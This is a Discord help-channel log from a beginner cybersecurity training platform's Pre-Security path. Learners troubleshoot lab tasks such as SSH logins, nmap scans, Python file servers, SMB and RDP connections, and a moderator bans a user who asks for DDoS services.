[turbid grove]

Much appreciated man

[elder fox]

I think @marsh veldt had the same issue yesterday

[noble sedge]

it seems like i can't send a screenshot here so I'll just copy my terminal:
root@ip-10-10-7-170:~# ssh tryhackme@10.10.7.170
The authenticity of host '10.10.7.170 (10.10.7.170)' can't be established.
ECDSA key fingerprint is SHA256:bcMHtOOcKrFlorgp2C65LGeywzwI++NiVqXZOmy1U.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.7.170' (ECDSA) to the list of known hosts.
tryhackme@10.10.7.170's password:
Permission denied, please try again.
tryhackme@10.10.7.170's password:

I've tried also using sudo but that doesn't help

[soft snow]

You have to verify your THM profile in discord in order to be able to send screenshots

!docs verify

[rain berry]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[noble sedge]

did it, thanks!

[somber current]

Gave +1 Rep to @soft snow

[soft snow]

So you solved your issue with ssh meanwhile? As I can already see what the issue is.

[soft snow]

Well, in case you haven't, you are using the wrong IP, you used the IP of your own machine(your attackbox) instead of the target machines IP.

[dense matrix]

ok im stumped on what im doing wrong with my attack box. linux fundamentals part 3, i go to hss tryhackme@10.10 and use the password tryhackme but it's not letting me log into it

keeps saying the passwords wrong

[marsh veldt]

Can you please share the complete command you are entering? (I hope what I see are just some typos here...)

[marsh veldt]

Take a look at @soft snow 's post above. ( #pre-security-legacy-path message )

[dense matrix]

ye it's fixed now. many thanks for the assistance!

[noble sedge]

thanks! i figured it out

[somber current]

Gave +1 Rep to @sterile walrus

[noble sedge]

yep, that was the problem, thanks!

[marsh veldt]

ok so in a typical layout for a home network, is the router both the default gateway and the network adress?

i get that the host adress is the specific device like a computer or something

[warm epoch]

Router won't be the network address

The network address describes the network, not a device

[marsh veldt]

oh so the entire shibang of devices

[warm epoch]

Not really

You wouldn't use it to talk to the devices. It's really for writing/describing the network

[marsh veldt]

i get it now

so the host adress is a specific device on a network, a router or switch would be the gateway and it sends and receives stuff to other networks, and the network address is basically saying that a network exists

[warm epoch]

It makes a lot more sense when you can write it in binary

[marsh veldt]

probably

[warm epoch]

Switch wouldn't be a gateway.

[marsh veldt]

oh ok

[warm epoch]

Switches don't route between networks

Unless they're being routers

[marsh veldt]

ok i get it now

so would a switch hold a host adress?

[warm epoch]

Switches don't tend to have IP addresses unless it's for a management interface.

[daring crystal]

hi all

someones know how to pass trough this section

https://static-labs.tryhackme.cloud/sites/net-simulator/?config=introtonetworking

seems bugged

with a missing variable

ok seems its from safari navigator

i used another navigator to pass the test

[boreal ether]

im doing a linux fundamentals pt1 and i dont know how to pass this question

i run the attackbox and everything

but when it asks me to write username of who i'm logged in ason my linux deployed machine

[warm epoch]

@boreal ether that's the attackbox, not the target machine. Terminate the attackbox, deploy the machine in the earlier task.

[boreal ether]

i deployed it

[warm epoch]

Ok, you see the bottom bar on the right?

Click linuxfun...

[boreal ether]

oooh

thanks for helping

[autumn scaffold]

Hey im now in network services 1 and im confused about a nmap command

whenever i want to answer a question like: What variant of FTP is running on it? I cant see it in my console

where I can see on other sites that they get stuff like this

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 353 Apr 24 11:16 PUBLIC_NOTICE.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.9.0.54
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
Service Info: Host: Welcome

what command are they using?

[median mica]

You have the answer there

[autumn scaffold]

I know

but i cant get this information on my consule

console

[median mica]

What nmap command did you use?

[autumn scaffold]

I used nmap -vv -sT 10.10.73.112 -p-

[median mica]

A few things. 1, you don't need -sT for this. 2, try adding in -A (which will run an aggressive scan. Note this will make the scan much longer so you might want to supply a specific port instead of doing -p-)

You can also use --script ftp-anon to enumerate FTP

[autumn scaffold]

ah I got it

thank you

[rare sapphire]

Hey guys, I'm on Linux Fundamentals Pt.3 task4. When I try to wget then the IP address to download the flag.txt it says connection refused. I cannot seem to get it to download the flag text. Any pointers?

[median mica]

!docs verify

[rain berry]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[median mica]

follow that

then send screenshots

[median mica]

send the link to the room

plz

[rare sapphire]

https://tryhackme.com/room/linuxfundamentalspart3

[median mica]

Youre missing a step. Youre currently ssh'ed into the target machine. You need to use python to set up an http server right there. Then open a new terminal window and use the wget command

[rare sapphire]

Thank you! I never would have figured that out. I have to do more reading on the python3 command, don't think I fully understand it.

[weak basin]

Hi guys I was solving Upload Vulnerabilities Module. But I am unable to install Gobuster using sudo apt-get in the web based Kali Linux provided by TryHackme. It keeps throwing me error. Can someone tell me what to do?

[warm epoch]

Use the attackbox, it's preinstalled.

[weak basin]

Thank you

[somber current]

Gave +1 Rep to @warm epoch

[dense matrix]

windows fundamentals task 6: what is the name of the other user account

i am stumped as hell and confused cus i did the thing where i go to the other users, all i see is TRY HACK ME which isnt working so i did lusrmgr.msc and tried literally everything that came up listed under users and still got nothing. i swear i'm gonna cry if it turns out i'm just spelling something wrong again when i put it in as an answer

never mind... i was in fact spelling something wrong

[rare sapphire]

If you go into lusrmgr.msc and go into the Users tab, the account name is all the way on the left. The full name is TRY HACK ME but there is a different account name. Are you sure that you are in Windows fundamentals 1? If you are still having trouble the account name is ||tryhackmebilly||

[dense matrix]

thanks for answering my question. it turned out i was just spelling it wrong in the answer bar though

good ol dyslexia and all that

[open pulsar]

Okay, I’ve been messing with this far too long. What am I doing wrong here

[soft snow]

First of all you are trying to wget it from the target machine, to the target machine. Instead of from the target machine to your attackbox. Secondly you probably didn't start the python server in the correct directory

[brittle birch]

How to solve this? I can't understood exactly

[warm epoch]

@wild ledge I think this one's yours.
It's a cron job, not a crontab.
Crontab is the table, which lists jobs

[open pulsar]

you probably didn’t start the python server in the correct directory

This is why my first attempt didn’t work, thanks for the help

[somber current]

Gave +1 Rep to @soft snow

[runic shell]

Are you supposed to have a good foundational understanding of the topic after completing a room? Because I feel like I'm learning so many new topics so briefly I'm going to forget them all tomorrow. Like I just finished the DNS room and if you asked me what a CNAME Record is I'd stare at you blankly. Am I doing the paths wrong?

[soft snow]

Well if you come across a lot of things you never heard before and just read them 1 time in a room, it might be hard to keep everything. I personally started taking notes, the reason is that when I write down the most important parts of a room I remember them easier if I wrote them myself at least once. Also that you have something to look up afterwards on your own notes is a good thing. But overall, learning is always about repetition, so the more often you come across such terms, the easier you remember them.

[turbid grove]

Agreed. The simple act of typing the info in your notes will help you remember more. Grab a note application. Could be a text doc or something like cherrytree or blankslate (web based)
Jot down notes and refer to it later if necessary.

[hollow badge]

totally

[rocky wave]

@brittle birch if you still didn't find answer, watch YouTube video in this task. There is an answer. It's really tricky

[open wraith]

Hi guys , I was learning Pre-Security. As soon as I completed Into to LAN and reached THE OSI Model , THM asked me to subscribe !😟 . Do any of you guys have TryHackMe Vouchers . If yes Please help me bcoz I really can't pay the amount since I am a school student

[median mica]

You dont have full access to pathways if you arent subscribed. However that dosent mean you cant use the site. There are plenty of other free rooms you can do

[crimson flame]

@median mica if we skip the paid rooms, does it severely affect the learning in future?

[mellow elbow]

good morning/evening/night guys

i am stuck here and dont know how to use the game

just moving around

[turbid grove]

arrows + spacebar to enter a doorway

[mellow elbow]

thank you

[somber current]

Gave +1 Rep to @turbid grove

[willow oyster]

Hello

Does the ARP protocol works across the network?

[warm epoch]

Can you clarify your question?
It has to work over the network otherwise you'd not gain any new information from it

[barren linden]

Depending on what do you mean with "across the network"
ARP works on layer 2 (MAC Addresses) so it can not be routed

So it works only between devices in the same ip subnet

On different subnets (splitted by routers) routing tables are used

Fun Fact: the NDP Protocol (ARP for ipv6) is also vulnerable to Spoofing, because to pretend that, some signature would be needed in the protocol, which was discussed while working on ipv6 (but the advantage is not high enough to implement such time consuming things into a protocol)

And for preventing ARP/NDP Spoffing there are some solutions: client based (always bad) or on switches

[marsh veldt]

can my wifi provider see my history ?

[civic hare]

Yeap..sure

[timber star]

Any way around that? Are VPNs enough?

[soft snow]

Mh, what do you mean?

[bitter dome]

VPNs are enough but then you're letting the VPN provider see your searches

[wind lichen]

anybody pls explain to me the 3 way handshake part on the packets and frames section

[marsh veldt]

They can see the websites you accessed if you use their recursive DNS server, it's not guaranteed that they're going to keep a history but it's possible

so I think using a vpn and a public server like cloudflare would solve that

[marsh veldt]

which part didn't you understand?

[wind lichen]

the part before the tcp closing connection

the table showing the initial sequence no etc

[warm epoch]

@marsh veldt let's keep it appropriate for an educational environment

[waxen ruin]

using a vpn would, but even if you change your dns to cloudflare, the dns packets are still routed through the isp network in cleartext

[rapid marlin]

Hey guys! Im currently in Linux Fundamentals Part 1 and I am noticing that the box AttackBox that we launch for the room doesn't correlate to the questions we are asked. Has anyone else ran into this issue?

[sage sandal]

Can you elaborate a little more please

[rapid marlin]

I will try and send screenshot

I am doing Linux Fundamentals Part 1

Task 5 Interacting with File System

[sage sandal]

you ll have to verify to send pics

!docs verify

[rain berry]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[rapid marlin]

Gotcha! I am now verified

So I answered the questions based off the youtube answers.. the box that it lets me deploy in the website is different than the box in the video

I just hope this isnt a re-occuring issue with later lessons

[sage sandal]

It is because that machine is "your" machine not the machine that you are supposed to attack

Maybe try to terminate it and re open it

[rapid marlin]

hmmm.. okay! I see what you mean

In task 3 it gives me a machine to launch, but its not the machine used for the room, but "my machine" which I would rather have the machine for the room for now

victory!! it worked!

[sage sandal]

Yay 😄

[rose kernel]

Hi

[foggy edge]

Hi

[void grove]

hello guys, may someone kindly please help me in the subdomainenumeration task 6, i have failed to answer the question close to one and a half weeks

[warm epoch]

@void grove Please do not spam the same question over several channels

[void grove]

sorry man

[plush snow]

How necessary is it to write down extensive notes during this pathway?

[inland token]

it's always a very good idea to take notes, just don't let it slow you down so much that it becomes a chore

[plush snow]

im making condense notes of the most important stuff

I noted down all the important bits of the stages of the network tree

[limpid oyster]

hello, can someone please explain to me why i keep getting this error? https://i.imgur.com/2isjAfx.png

[sage sandal]

Because the default port you are trying to open a server (8000) is already occupied

do python3 -m http.server <random port number>

[limpid oyster]

thank you!

[sinful parrot]

Hi everybody, after 3 weeks of not improving i am still stuck at SMB task 4. I need to find out which document contain valuable information about the profile..... how ca i open the files?

[sage sandal]

what room are you doing

[sinful parrot]

sorry, Network Service Task 4 Exploiting SMB

[soft snow]

You can either use get to download it or use more to "read" it . Also you have to find a way around the spaces in the filename.

[remote hemlock]

If you type ‘help’ while connected via smbclient it will give you info about what you can do

[sinful parrot]

i tried to scopy and get the file buuutt....the space was the problem i think

what does the D, DH, and H mean?

[soft snow]

Have you tried to google it already?

[sinful parrot]

shame on me of course not xD

[sinful parrot]

o.m.g... I did it! it was pain... not gonna lie xD THX @soft snow & @remote hemlock

[somber current]

Gave +1 Rep to @soft snow

[full terrace]

ha ?

layer 8 exist ?

Nevermind,in this module https://tryhackme.com/room/extendingyournetwork is not specified in what layer operate firewall

[sage sandal]

some research on google never hurts 🙂

[marsh veldt]

Hello

Im a new candidate

[patent citrus]

hello everyone I'm new here nice to meet you 🙂

[full terrace]

idk how to solve this,any hints ?

nevermind i solved this

[marsh veldt]

How ?

[full terrace]

you need to drop packets from first pc

[marsh veldt]

100.34 or 113.99

[full terrace]

100.34

[marsh veldt]

Hmm Thanks

[full terrace]

and in the label "Destination IP" put 110.1

i hope you understood

[marsh veldt]

✌🏻

[full terrace]

my english is not very good 🙂

[marsh veldt]

But my understanding is good
No Problem ✌🏻

[wind iris]

hi. someone knows why in root linux fundamentals part 1, in the machine deployed the user es root and not tryhackme?

[toxic bone]

probably SSH conn

[soft snow]

Probably because you are on the attackbox and not the target machine

[marsh veldt]

Hey

Guys I want to start ethical hacker on tryhackme.com

What path should I take first

[warm epoch]

Pre Security.

[marsh veldt]

You mean this?@warm epoch

[warm epoch]

That says Pre Security, which is what I said.

[marsh veldt]

Ok calm down

[warm epoch]

I mean, it matches exactly what I said.

You may also have trouble doing it from mobile.

[marsh veldt]

I'm sorry ok? I just wanted to be sure

[marsh veldt]

I will do it on pc

[broken pivot]

Hi everyone

All are beginner here?

Like me

[full terrace]

yep

[oak folio]

I'm a beginner too

[hearty cipher]

I'm a beginner too

[marsh veldt]

Hello

World

[full terrace]

after pre sec path what path do you recommend to choose ?

[velvet oar]

I think Complete Beginner is good after pre sec

[heavy parcel]

Awesome sounds good, getting started with the pre-security path, has been informational and smooth. I may choose complete beginner also...........the other recommended choice is Linux I believe. Tomorrow is the start of the Christmas room suitable for beginners that starts tomorrow..... Advent of Cyber.

[marsh veldt]

I’m stuck on this question “what is the syntax to ping 10.10.10.10?”.

[torn lantern]

you have written it in your question 😉

[marsh veldt]

I don’t know what to submit as an answer

[soft snow]

What's the command you would type to ping 10.10.10.10 ?

[marsh veldt]

depends on what you use

for say you use cmd

it would just be ping followed by 10.10.10.10

ex; ping 10.10.10.10

[lilac fox]

I'm stuck on windows fundamentals part 1: task 7, it won't let me edit the permissions for SYSTEM, anyone know why?

[digital aurora]

Hi I want a free website attacks ddos

[ionic smelt]

:pepebruh:

[soft snow]

What you mean with that?

[fathom vault]

-ban @digital aurora Asking for Ddos websites or services are unethical and not what we do here. Appeals are [e-mail]

[somber current]

🔨 Banned ! 𝑺𝐩𝐞𝐞𝐝𝟕#9994 indefinitely

[marsh veldt]

Well...look at the format for the answer: 4 characters followed by a whitespace followed by an IPv4 address....
Is there anything in your "I'm stuck..." message that actually resembles that? 😉 😉

[marsh veldt]

Hello, what am i doing wrong please? Im supposed to download a text file from a remote machine, but nothing happens after the wget command

tryhackme@linux3:~$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)
wget http://10.10.164.67:8000/.flag.txt

Hold on

Could you add the following detail? Where are you running these commands?

on the "attacker" host or on the "victim" host?

this is a task in Linux Fundamentals Part 3

im on the victim host i think

logged in to "mine", then SSH to the remote machine

as per instructions/screenshots

started the attack box, SSH to a remote machine
following the instructions
starting web server with python3 -m http.server command
then wget, but nothing happens

task 4 in https://tryhackme.com/room/linuxfundamentalspart3

I see...BUT....

starting web server with python3 -m http.server command

This part. Where are you doing it?

on the remote machine

the one i SSH into

The idea of starting the http server is when you want to transfer a file FROM the attacker into the victim

or well, vice verse

[marsh veldt]

Perfect and now....

wget http://10.10.164.67:8000/.flag.txt

I guess you are executing this command on the attacker host, right?
And the IP is the victim's host IP, right?

(so you should have 2 open terminals...or 1 if you closed the SSH connection after running the http command on the victim's host)

I see

(if you don't think I'm making sense or don't understand something I'm saying please say it! We are here to give a hand 🤝 )

Thanks very much, yes it's working now. Starting the http server on a victim box, then downloading with wget from the attacker box

Thank you again 🙂

You got it? I'm glad it worked!

You're welcome. Please pass by again if something else comes up or you have any doubt.

Will do, much appreciated

[marsh veldt]

Me again, im stuck with an answer for question:
When will the crontab on the deployed instance (10.10.57.138) run?

@reboot /var/opt/processes.sh

the job stars after each reboot / everytime linux starts, is that correct?

the answer should be one word of 7 characters 🙂

restart - wrong answer

could someone guide me to the correct answer please?

[limber oasis]

You have the answer right here.

[marsh veldt]

that's the problem, when i write reboot as the answer, it says it's incorrect

restart also incorrect

the correct answer should have 7 characters, as there are 7 * in the field

[limber oasis]

You have a symbol to add, don't you? 🙂

[marsh veldt]

ok, the process will run at reboot OR @amber oar :))

many thanks 🙂

[marsh veldt]

Yah thanks I get it now

[somber current]

Gave +1 Rep to @livid bloom

[vocal prism]

.

[marsh veldt]

🕊️

[plush snow]

in the activity "Extending Your Network" in the attack box. how do you figure out that 80 is the port that stops the attack?

i understand the ip stuff but not really the port? as in what determines why a particular port is the correct choice

figured it out by reading back. but does every router use port 80 to connect to the internet?

[marsh veldt]

You mean router....or web server??

[plush snow]

im not sure haha? i think router right?

going by the picture in the activity it shows a network on port 80 connecting onto a router on port 80 which then connects to the internet

is port 80 a special thing or just used in this example

[marsh veldt]

oh that's just an example

[plush snow]

ah i see

[marsh veldt]

Yeap it is actually!

There's a list of "well-known" ports that are usually used for specific services

You would expect a web server if you see only port 80 or 443 open, to name an example

in real life, your router connects to the internet and opens a connection through any port (This is related to Port Address Translation)

[plush snow]

ah ok so on a server being attacked (like in the attack box) blocking accesses port 80 would be the way to go

[marsh veldt]

mind you would drop all connections both benign and malicious!

but it's an option in case you need it

[plush snow]

but it would stop an attack from a hostile PC

[marsh veldt]

yes indeed (Assuming no other port is open)

[plush snow]

I see i see!

[marsh veldt]

you could blacklist IPs too (But blacklisting manually is not recommended as it doesn't scale well...if you can automate it somehow then yes)

[plush snow]

yea i would assume that would be a basic scenario

thanks for you help!

[marsh veldt]

You're welcome! Any other question, pass by again!

[winter jolt]

Is it just me or does the task 6 site in Extending your network not work?

Opening it on a new tab and refreshing the same tab don't work either

To clarify the error is that no packet is sent on the simulation itself

[marsh veldt]

Hi I am new here could I ask a question please re. AD Hacking

Sorry I think I've selected the wrong path ! I will ask again in complete-beginner path

[marsh veldt]

Try another browser chrome, Firefox, etc

[marsh veldt]

Can i ask for tips on this channel about Web Security?

[warm epoch]

This channel is specifically for the TryHackMe Pre-security path

[opal hemlock]

Yo guys, just started the pre-security path today. Looking forward to learning much more

[marsh veldt]

hey, that's nice! good luck and have fun~ 🙂

[crimson flame]

hv u subscribed or thm?

[opal hemlock]

I’m not subscribed yet. I plan to sub sometime after I complete the beginner rooms

[crimson flame]

Okk.. just make sure you don't leave the concepts whose rooms are locked . Learn them from internet (youtube videos are a good source). Happy Hacking😁

[wide crater]

whats up everyone just started the pre sec path on THM would love to have some friends to keep me accountable on my learning path! looking to hack around 4-5 days a week

if you wanna friend me on THM my username is stevethemenace 🙂

[lusty knoll]

doubt

for those who just started out dont talk about your future focus on learning you cant predict what happens next

[spare swift]

hi, i have a problem with linux fundamental part 1, with the question "what is the username of who you're logged in as on your deployed linux machine ?" i typed "whoami", it said i'm logged with root, but tryhackme said i have a wrong answer.

[warm epoch]

You're currently using the attack box.
That's not the target machine, which is why your answer is wrong.

[spare swift]

Ho, it said i have choice, VPN or AttackBox

Ok, gonna try with vpn, thx 🙂

[warm epoch]

@spare swift No

There are two machines involved

The target and the attacker.

Attackbox or VPN is your choice for the attacker.

You need to use the target machine in the room. The "Start Machine" button.

If you've already deployed that as well as the attackbox, there are tabs along the bottom right to swap between them.

[spare swift]

Haaa ok thanks for the information, i'll try again later

[real spire]

i cant get the attack box to open? am i missing something?

[turbid grove]

start machine and start attack box are different things. I think that's a common mistake.
I recommend using your own vm as it's much faster than the web based attack box in my experience.

[tender scarab]

your own vm
Why do you even need a VM? You can ran everything from you local machine.

[soft snow]

Well, most people don't have for example kali linux as their main OS on their local machine, that's why using a kali VM.

[warm epoch]

Isolation
Snapshots for easy recovery
Not messing about with dual boot especially when Windows updates

[tough pollen]

Hello, guys. I have a problem in Linux Fundamentals Part 3, Task 8. I need to access the Apache logs but the user provided (tryhackme) does not have access. Do you know if there is any way to access the logs?

[warm epoch]

Look at the files.
Which do you have access to?

Try ls with long list.

[tough pollen]

Thanks for the tip. I had stopped the machine. Starting again. Will start in a minute.

[somber current]

Gave +1 Rep to @warm epoch

[tough pollen]

Thanks a lot. Accessing the other one and not access.log was ok. Thanks a lot!

[somber current]

Gave +1 Rep to @warm epoch

[remote roost]

Hi, I'm having issues with the nmap section, anyone care to assist me?

In task 14 (Practical), I'm unable to find out what the target machine ip is. 1st question: Does the target (MACHINE_IP)respond to ICMP (ping) requests (Y/N)?

[warm epoch]

That means you haven't deployed the target

Go back to the task with the "Start Machine" button and click it.

[remote roost]

Hmmm, yesterday I did that but it did not resolve my problem, currently trying again

[warm epoch]

I mean that's the problem here

Or you're blocking JS which will break pretty much the whole site

[remote roost]

I'm using plain safari, which shouldn't block JS.

I've started the machine and it's still not showing target ip

Just confirmed JS is enabled

[warm epoch]

It takes one minute to display.
It will display a countdown under the big red Active Machine Information heading

[remote roost]

Can I post a screenshot?

[warm epoch]

!docs verify

[rain berry]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[warm epoch]

You need to verify in order to post images in this server

[remote roost]

Done

[warm epoch]

Scroll up

Top of the page above the tasks

[warm epoch]

You haven't deployed the target

Go to task 1

[remote roost]

Oh damn, my bad

[warm epoch]

Click "Start Machine", the green button at the top right of the task

[remote roost]

Got it! Thanks

I thought it would deploy with the attackbox

[warm epoch]

The attack box is a convenience

It's an alternative to using your own Kali machine etc and VPNing in

[remote roost]

Thanks. How do I download the .ovpn to use vpn?

[warm epoch]

!vpn

[rain berry]

TryHackMe

Learn how to use OpenVPN to connect to our network!

https://tryhackme.com/room/openvpn

From TryHackMe with ❤!

[remote roost]

Thanks

[zenith elbow]

Hey all, I've a question I can't figure out on this path. It's in the Windows Fundamentals Part 1 room, task 3.
Here's the question :

Besides Clock, Volume, and Network, what other icon is visible in the Notification Area?
Can I have any hint, please ?

Nevermind I've found.

[solemn oar]

!docs verify

[rain berry]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[remote roost]

I'm having issues with the metasploit section, can anyone assist me?

[soft snow]

You are more likely to get help if you ask your question right away. Explain your issue, what room, what task, etc.

[remote roost]

In task 5 I'm having a hard time using the exploit and gaining control over the target as the exploit fails

It's in the pentesting tool series

[soft snow]

Show a screenshot of the options you have set with show options

[remote roost]

My bad, wrong lhost ip.

[zenith elbow]

I must miss something, 'cause I don't find the answer to the task 8 of win fundamentals 1....
The question :

In the Control Panel, change the view to Small icons. What is the last setting in the Control Panel view?
Spoiler about what I did : ||I right click on the desktop, then chose "View", then "Small icons". The last setting is "show desktop icons", and it says me that it is a wrong answer. Then I've searched both settings and control panel, and I don't find anything that allows me to resize icons....||

[soft snow]

You just enter control panel in the search, open it and at the top right corner you can set the icon size.

[zenith elbow]

Oh, I didn't understand the question the right way! Thanks!

[somber current]

Gave +1 Rep to @soft snow

[harsh reef]

Hi guys I am having difficulties learning using my phone

[rough delta]

Like what?

[steel steppe]

If you are talking about visual issues with the deployable machines (test examples/minigames) then you can try making the deployable machine fullscreen which will open a page dedicated to the minigame where you wull be abel to see better, alternatively you can turn your browser to desktop mode, almost all browsers have this feature and you can search up how on your browser. Once its on desktop mode you can zoom in to see text better

@harsh reef /\

[harsh reef]

I will try that

[harsh reef]

Test examples and games

[rough delta]

Oh
It's like pingy said
Try using desktop site option from your browser
And maybe use termux for using some basic tools

[icy dirge]

ez-pz

[potent wedge]

congratz.... now you have inspired shadow to do osint on this name

[marsh veldt]

Need some help within Windows Fundamentals 1. When I use "xfreerdp /u:administrator /p:letmein123! /v:10.10.20.248" I get the following error:
[12:47:59:923] [11856:11857] [INFO][com.freerdp.primitives] - primitives autodetect, using optimized
[12:47:59:938] [11856:11857] [INFO][com.freerdp.core] - freerdp_tcp_is_hostname_resolvable:freerdp_set_last_error_ex resetting error state
[12:47:59:938] [11856:11857] [INFO][com.freerdp.core] - freerdp_tcp_connect:freerdp_set_last_error_ex resetting error state
[12:48:14:953] [11856:11857] [ERROR][com.freerdp.core] - freerdp_tcp_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_FAILED [0x00020006]
[12:48:14:953] [11856:11857] [ERROR][com.freerdp.core] - failed to connect to 10.10.20.248

[potent wedge]

have you connected to the vpn... or are you using the attackbox

[marsh veldt]

Thank you very much. That was the problem...

[somber current]

Gave +1 Rep to @potent wedge

[potent wedge]

no problem... good for you to realise and know how to handle the problem

[fresh grove]

Will I be greeted with the same error messages if I run it on THM's Attack-box?

[soft snow]

What you mean?

[fresh grove]

I wonder what Timos was running to get all those error messages.

[warm epoch]

Xfreerdp

It's quite verbose

[soft snow]

Well just xfreerdp to connect to the windows machine but most likely wasn't connected to the vpn on his own machine.

[fresh grove]

Was this supposed to be run on cmd prompt?

[tired thicket]

No. Xfreerdp couldn't connect because it couldn't reach the server

Due to no von connection

[fresh grove]

wht is no von?

[tired thicket]

Attackbox doesn't need a vpn connection to connect to targets. So you would never reproduce it. If you get same error it's because target is down

*vpn

[fresh grove]

Oh, so browser based Attack-Box was creating the error while trying to run the ovpn from the terminal rather than the local VM Attack-Box terminal?

[tired thicket]

You can connect to THM targets from your own machine. Without browser based attack box.

For that you need to connect to thm vpn.

[fresh grove]

Ok, thank you.

[somber current]

Gave +1 Rep to @tired thicket

[tired thicket]

@fresh grove "TryHackMe | OpenVPN" https://tryhackme.com/room/openvpn

For reference

So what happened, they tried to connect to target from their own machine/vm without a vpn connection up

(at least that's how i understood it)

[marsh veldt]

Just finished this it was a blast! Off to complete beginner! Wish you all best of luck if anyone has questions @ me while it's fresh in my head

[winter tartan]

how the web works - how websites work, challenge 3, the hint gives different code than the question? am i missing something? it doesn't work correctly with the code the hint uses

[shadow parcel]

?

which hint and which question?

[winter tartan]

It was task 3 question 2, "Add the button HTML from this task that changes the element's text..."

i have a screen shot if that helps

[winter tartan]

i have a screen shot if that helps

[shadow parcel]

ahh the 'optional' one

yeah i just copied the code and change dhack the planet to button clicked

you dont get a special flag or anything

[winter tartan]

yeah, i got it to work but realised the hint didn't get me a result

i put the code in wrong at first but didn't realise (tried to put it between the <script> tags) so clicked hint, then copy and pasted that, and it didn't do anything for me (after putting it in the correct place)

then i realised that the code in the block of text and the code in the hint are different

[shadow parcel]

oh, i didnt copy from the hint, i copied from the code just above the questions area

HTML elements can also have events...

i didnt even read the hint, but yeah that should say Button Clicked and not Hack the Planet

otherwise its the exact same code as far as i can tell

[winter tartan]

for whatever reason, it doesn't seem to actually change anything compared to the correct code

i guess it's probably not an actual editor but just does the required change when you put the right text in? idk, but yeah it stumped me for a minute or two before i thought to check it against the code in the body of the text

[shadow parcel]

only difference is what "demo" tag displays. EIther Hack the Planet or Button clicked

and it only does that after you click

onclick=

[winter tartan]

huh, i must've still been making an error then because when i used the "hack the planet" code it didn't do anything on click, but when i used the other one it did

[shadow parcel]

they might have something on the backend to check for the 'button clicked' string

like if you do the 1st question and put Planet the Hack you wont get a flag

[lyric sail]

hey guys, i need a little help in the "Network Services" room. I have to enumerate a machine with Telnet. So I nmap but all ports are closed. Killed the machine but same result :(

[quasi maple]

Hello. I'm stuck into the Linux Fundamentals part 3, task 4. When i try to connect to ssh the password is always wrong

[soft snow]

Give the machine a couple of minutes to fully boot, as far as I know this machine tasks a bit longer to fully boot.

[soft snow]

What's the user and password you use?

[quasi maple]

user : tryhackme pw : tryhackme

[soft snow]

You sure you are using the IP of the target machine and not the IP of the attackbox?

[quasi maple]

Is it the ip i can see in the top of my page? In a green box

[soft snow]

No that's the IP of your attackbox

The target machine IP can be found in a box like that:

[quasi maple]

Ok, i found it. Thank you 🙂

[somber current]

Gave +1 Rep to @soft snow

[lyric sail]

naaa, was a fail on my thoughts that telnet uses a "common" port and is scanned by nmap without "-p-". A lot to learn i have xD

[raven knot]

Onto complete beginner

[lament fjord]

Hi.

[dusky crag]

Hey guys, I've just begun the pre-security pathway and was wondering how essential it is to remember all this stuff? Namely LAN topologies, or small things like the ping command using ICMP, because I feel like I'm bound to forget them.

considering I forgot about the topologies already once, learnt them last year in college, never came in active use and ended up forgetting it

[lunar pilot]

It's good practice to note down things that you learn, you can use apps like OneNote or Notion for this (for me I prefer the latter)

But I do agree with you, it becomes very easy to forget though

[dusky crag]

Does stuff like what I mentioned actually useful in cyber security? Or is it something that's like at the back of your head and only comes in use in very niche circumstances

I'll try out taking notes though, thanks

[lunar pilot]

LAN topologies are handy outside of info sec, namely where you may need to design a computer network for an organisation, understanding protocols is a little more important though as you would need to understand how they work and where they are mapped to when pen testing

[dusky crag]

I see, thank you

[lunar pilot]

All good! 🙂

then again you can get decent cheat sheets on google

[grand halo]

I've completed this pathway just now

Good stuff and I'm glad I went through this one as it's probably the more basic ones

[vivid yoke]

Hi guys finished 2 rooms (introductory things) on THM, gonna finish the research part tonight after home

What path should i take after that? 😄

I have a dream to able finish OSCP somedays in my future

[knotty sail]

take all red paths

nice pic btw 👍

[vivid yoke]

ROFL

[vivid yoke]

thx sir

[somber current]

Gave +1 Rep to @knotty sail

[vivid yoke]

owrite gonna check that out. Tyvm sir 🙏

[scarlet glen]

Hey guys, I'm about to finish Pre-Security. Anyone has idea what is the better path after concluding this module?

Offensive pentest oriented

I'm between Jr. pentester and Cyberdefense or complete beginner, tbh, I have no idea

Well, I'm still using free account, so I have lots of limitation IG. When I sign premium maybe I'll make my mind somehow

[potent wedge]

complete beginner is the one shadow would recommend

[scarlet glen]

thanks shadow

[knotty sail]

yeah you can either go to web fundamentals or complete beginner

don't worry about comptia, when you finish all other red paths it gets completed auto

cause topics are overlapping

[scarlet glen]

oh, nice then, thanks Kaya

[knotty sail]

np

[vivid yoke]

yo guys finally i finish the first part of beginner! gonna install vm tonight and do the linux fundamental 1 2 and probably 3 also tonight!

I thought the 3rd lessons on the very beginner lesson (research on google things) was very boring, but turned out it was very wonderful lesson!

[zealous fossil]

hey guys, anyone had trouble viewing the access.log file in linux fundamental 3 task 8? error is "Username is not in the sudoers file. This incident will be reported" whenever I try to view apache2 access.log file

is it something part of the challenge or something is broken?

thanks in advance!

[marsh veldt]

who are you logged in as?

[marsh veldt]

I too am stuck 🙂 with the Burp Suite Ticket Task 11, configuring position and payload

in Payloads, i choose Payload Type as Numbers, set the range 1 to 100

but dont know how to configure the position

[zealous fossil]

tryhackme

[zealous fossil]

🙃

[soft snow]

Why, what's the part you have a hard time ? You maybe want to verify in order to be able to send screenshots, that's making it way easier to help when people can actually see your request etc. 🙂

!docs verify

[rain berry]

TryHackMe

